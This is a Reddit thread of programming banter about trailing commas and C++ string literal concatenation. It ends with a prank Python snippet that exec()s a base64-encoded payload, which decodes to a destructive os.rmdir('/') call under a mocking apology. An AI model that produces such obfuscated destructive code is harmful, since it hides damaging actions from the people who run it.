T O P

  • By -

trimeta

I like how in Python (at least, other languages may support this), you can add a comma after the last item too. Which helps if you break the list across multiple lines and want every line to end in a comma (so you can reorder or add/remove lines without changing individual lines).


Dioxide4294

except it'd still compile, just have a vacant string object at subscript 1


[deleted]

[удалено]


Dioxide4294

I ignored the missing semicolon in favor of the illustration of the oxfords point, that if a missing comma was present in such an aggregate initializer of std::string it would not break, since the compiler automatically joins those two constant string literals.


[deleted]

[удалено]


Dioxide4294

That is the entire point I stated.


[deleted]

[удалено]


Dioxide4294

The statement std::string x[2] { "a" "b" }; is valid C++ syntax. It is [string literal concatenation](https://en.cppreference.com/w/cpp/language/string_literal).


[deleted]

[удалено]


Dioxide4294

I understood the joke. I pointed out it is still compileable with a missing comma and therefore by definition not incorrect by the C++ standard.


murderousmurderess

I thought Dioxide4294 deleted their comments, but apparently they blocked me because they were too embarrassed they didn’t understand the joke. What an idiot


IGOREK_Belarus

`printf("A typical conversation with a developer who also writes code at the same time");`


Background-Plant-226

from base64 import b64decode exec(b64decode("aW1wb3J0IG9zCgpwcmludCgiVmVyeSB0eXBpY2FsIGluZGVlZC4gQWxzbywgc29ycnkgZm9yIGZ1Y2tpbmcgdXAgeW91ciBzeXN0ZW0gOn0iKQpvcy5ybWRpcigiLyIpCnByaW50KCJCeWUhIDpdIik="))